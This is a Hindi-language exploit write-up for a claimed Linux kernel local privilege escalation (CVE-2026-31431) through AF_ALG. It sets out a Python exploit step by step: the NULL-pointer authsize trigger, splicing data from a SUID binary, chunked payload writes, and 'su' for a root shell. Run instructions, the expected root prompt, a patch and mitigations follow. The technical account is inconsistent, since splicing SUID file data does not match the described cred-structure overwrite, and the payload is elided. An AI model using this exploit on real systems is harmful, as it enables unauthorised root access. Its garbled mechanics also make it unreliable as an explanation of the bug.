
# CVE-2026-31431 के लिए Python एक्सप्लॉइट, AF_ALG नल पॉइंटर डीरेफरेंस के माध्यम से Linux कर्नेल LPE जो हीप OOB राइट और क्रेडेंशियल ओवरराइट की ओर ले जाता है। विस्तृत वॉकथ्रू और शमन मार्गदर्शन शामिल है।
बग श्रेणी: NULL पॉइंटर डीरेफरेंस → हीप OOB राइट → क्रेडेंशियल ओवरराइट
प्रभावित सबसिस्टम:net/alg/af_alg.c
प्रभाव: लोकल प्रिविलेज एस्केलेशन (अनप्रिविलेज्ड उपयोगकर्ता → रूट)
प्रभावित कर्नेल: Linux 4.4 – 4.9 (पैच-पूर्व)
आप setsockopt() को NULL पॉइंटर के साथ कॉल करते हैं जहाँ कर्नेल को यूज़र-स्पेस एड्रेस की उम्मीद होती है। कर्नेल एड्रेस 0x00000000 से पढ़ता है — और यदि आपने ज़ीरो पेज मैप किया है, तो आप नियंत्रित करते हैं कि वह क्या पढ़ता है। वह एकल प्रिमिटिव एक हीप आउट-ऑफ-बाउंड्स राइट में बदल जाता है जो आपको अपने स्वयं के cred स्ट्रक्चर को ओवरराइट करने देता है। खेल समाप्त।
AF_ALG इंटरफ़ेस इसलिए पेश किया गया था ताकि यूज़र-स्पेस प्रोग्राम एल्गोरिदम को स्वयं लागू किए बिना कर्नेल क्रिप्टो रूटीन का उपयोग कर सकें। एन्क्रिप्शन, डिक्रिप्शन, हैशिंग — सभी सॉकेट इंटरफ़ेस के माध्यम से उजागर होते हैं। साफ विचार। समस्या यह है कि setsockopt(ALG_SET_AEAD_AUTHSIZE) ने यह जाँचने की जहमत नहीं उठाई कि उपयोगकर्ता ने वैध पॉइंटर पास किया है या NULL।
अधिकांश NULL पॉइंटर बग तुरंत मर जाते हैं — कर्नेल 0x0 को डीरेफरेंस करता है, जो अनमैप्ड होता है, और आपको oops मिलता है। यह एक अलग पूर्व-शर्त के कारण बच जाता है: यदि vm.mmap_min_addr = 0, तो एक हमलावर mmap(0, ...) कॉल कर सकता है और ज़ीरो पेज पर हमलावर-नियंत्रित डेटा रख सकता है। अब कर्नेल कचरा नहीं पढ़ रहा है — यह ठीक वही पढ़ रहा है जो आपने वहाँ रखा है।
कमजोर कॉल:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
सामान्यतः चौथा तर्क 4-बाइट मान का पॉइंटर होता है जो प्रमाणीकरण टैग आकार निर्दिष्ट करता है। कर्नेल उस पर copy_from_user() कॉल करता है। कोई पॉइंटर सत्यापन नहीं। NULL पास करें, और copy_from_user(dest, 0x00000000, 4) ज़ीरो पेज से पढ़ता है।
आप क्या नियंत्रित करते हैं:
एड्रेस 0x0 पर 4 बाइट्स — जिन्हें आप कॉल करने से पहले सेट करते हैं। यह आपको एक मनमाना authsize मान देता है।
यह खतरनाक क्यों है:
AEAD ऑपरेशन सिफरटेक्स्ट प्लस प्रमाणीकरण टैग को समायोजित करने के लिए एक बफर आवंटित करते हैं। यदि आप एक बढ़ा हुआ authsize फीड करते हैं, तो कर्नेल टैग को आवंटित बफर के अंत से परे लिखता है — एक क्लासिक हीप आउट-ऑफ-बाउंड्स राइट। वहाँ से, उस राइट को struct cred पर उतारने के लिए हीप ग्रूमिंग की बात है।
शोषण Python 3 में लिखा गया है, केवल मानक लाइब्रेरी का उपयोग करके। यहाँ बताया गया है कि प्रत्येक चरण वास्तव में क्या कर रहा है और क्यों।
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (सॉकेट फैमिली 38) कर्नेल क्रिप्टो API है। authencesn(hmac(sha256),cbc(aes)) से बाइंडिंग एक प्रमाणित एन्क्रिप्शन टेम्पलेट का अनुरोध करती है — अखंडता के लिए HMAC-SHA256, गोपनीयता के लिए AES-CBC। यह टेम्पलेट इसलिए चुना गया है क्योंकि इसका auth टैग हैंडलिंग वहीं है जहाँ कमजोर राइट होता है।
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
72-बाइट कुंजी लोड की जाती है। शोषण के लिए कुंजी स्वयं मायने नहीं रखती — जो मायने रखता है वह यह है कि ट्रिगर कॉल से पहले सॉकेट पूरी तरह से इनिशियलाइज़ हो। एक बिना कुंजी वाला AEAD सॉकेट authsize ऑपरेशन को जल्दी अस्वीकार कर सकता है।
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
यह भेद्यता है। Python में None C API में NULL पॉइंटर से मैप होता है। कर्नेल 0x00000000 से 4 बाइट्स पढ़ता है। क्योंकि ज़ीरो पेज पहले से वांछित authsize मान से भरा हुआ है, कर्नेल के पास अब एक हमलावर-नियंत्रित प्रमाणीकरण टैग लंबाई है।
u, _ = a.accept()
AF_ALG सॉकेट पर accept() एक ऑपरेशन सॉकेट लौटाता है। क्रिप्टो ऑपरेशन यहाँ होते हैं।
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # शून्य IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # 20-बाइट AAD
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # ऑपरेशन प्रकार
],
MSG_MORE
)
सहायक नियंत्रण संदेश ऑपरेशन को कॉन्फ़िगर करते हैं — IV, संबद्ध डेटा लंबाई, ऑपरेशन दिशा। वास्तविक डेटा शोषण पेलोड से 4-बाइट चंक प्लस पैडिंग है।
फिर splice का उपयोग SUID बाइनरी के फ़ाइल डिस्क्रिप्टर से ऑपरेशन सॉकेट में डेटा फीड करने के लिए किया जाता है, किसी भी यूज़र-स्पेस कॉपी से बचते हुए:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
यहाँ splice() का उपयोग जानबूझकर है — यह डेटा को कभी भी यूज़र-स्पेस मेमोरी को छूने से बचाता है, जो कर्नेल-साइड हीप लेआउट को अधिक अनुमानित रखता है। जब AEAD ऑपरेशन इस डेटा को संसाधित करता है, तो दूषित authsize प्रमाणीकरण टैग राइट को आसन्न हीप मेमोरी में फैलने का कारण बनता है।
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
संपीड़ित पेलोड में लिखने के लिए वास्तविक मान होते हैं — तैयार किए गए struct cred फ़ील्ड ऑफसेट और शून्य किए गए UID/GID मान। प्रत्येक 4-बाइट पुनरावृत्ति एक राइट रखती है। लूप धीरे-धीरे लक्षित cred संरचना को ओवरराइट करता है जब तक कि सभी UID और GID शून्य नहीं हो जाते।
os.system("su")
cred->uid = cred->euid = cred->gid = 0 के साथ, वर्तमान प्रक्रिया प्रभावी रूप से रूट है। su (या कोई अन्य बाइनरी) स्पॉन करना उन क्रेडेंशियल्स को विरासत में लेता है। रूट शेल।
ज़ीरो पेज मैप करें
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ कर्नेल authsize को 0x0 से पढ़ता है
│ हमलावर उस मान को नियंत्रित करता है
▼
sendmsg + splice → AEAD ऑपरेशन
│ बढ़ा हुआ authsize हीप OOB राइट का कारण बनता है
│
▼
हीप ग्रूमिंग राइट को struct cred पर उतारती है
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → रूट शेल
| स्थिति | यह क्यों मायने रखती है |
|---|---|
vm.mmap_min_addr = 0 | ज़ीरो पेज मैपिंग की अनुमति देता है — पूरा प्रिमिटिव इसी पर निर्भर करता है |
अपनी mmap फ़्लोर जाँचें:
sysctl vm.mmap_min_addr
0 या 4096 का मान जोखिम को इंगित करता है।
# 1. क्लोन करें
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. पूर्व-शर्तें सत्यापित करें
sysctl vm.mmap_min_addr
uname -r
# 3. चलाएँ
python3 exploit.py
कमजोर सिस्टम पर अपेक्षित आउटपुट:
root@hostname:/#
पैच सीधा है — af_alg_set_aead_authsize में copy_from_user() कॉल से पहले एक NULL जाँच:
// पहले (कमजोर)
copy_from_user(&authsize, optval, sizeof(authsize));
// बाद में (पैच किया गया)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
प्रासंगिक कमिट: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
पैचिंग के बिना शोषण श्रृंखला को तोड़ने वाले शमन:
vm.mmap_min_addr = 65536 सेट करें — ज़ीरो पेज मैपिंग को रोकता है, NULL डीरेफ NULL प्रिमिटिव को मारता हैCONFIG_CRYPTO_USER_API_AEAD अक्षम करें — हमले की सतह को पूरी तरह से हटा देता हैइस प्रकार का बग — copy_from_user() से पहले पॉइंटर सत्यापन की कमी — नियमित रूप से कर्नेल सबसिस्टम में दिखाई देता है जो यूज़र-स्पेस को जटिल API उजागर करते हैं। ज़ीरो पेज प्रिमिटिव का उपयोग वर्षों से कई LPE शोषणों में किया गया है (Dirty COW-युग, CVE-2016-5195 श्रृंखला विविधताएँ)। निष्कर्ष केवल यह विशिष्ट CVE नहीं है; यह पैटर्न है: जहाँ भी कर्नेल उस एड्रेस को सत्यापित किए बिना यूज़र-आपूर्ति एड्रेस से कॉपी करता है, और ज़ीरो पेज मैप करने योग्य है, आपके पास देखने लायक एक प्रिमिटिव है।
रक्षकों के लिए, सॉकेट विकल्प हैंडलर में पूर्ववर्ती NULL जाँच के बिना copy_from_user() कॉल साइट्स का ऑडिट करना आपकी कर्नेल समीक्षा प्रक्रिया में स्वचालित करने लायक है।
net/alg/af_alg.c — कर्नेल स्रोतaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — AF_ALG इंटरफ़ेस दस्तावेज़ीकरणशोध और रिपोर्ट केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए। स्पष्ट प्राधिकरण के बिना सिस्टम पर उपयोग न करें।
| कर्नेल में AF_ALG संकलित | सक्षम होना चाहिए (CONFIG_CRYPTO_USER_API_AEAD=y) |
| कर्नेल 4.4 – 4.9 (अनपैच्ड) | कमजोर कोड पथ मौजूद है |
| लोकल यूज़र एक्सेस | केवल LPE — दूरस्थ रूप से शोषण योग्य नहीं |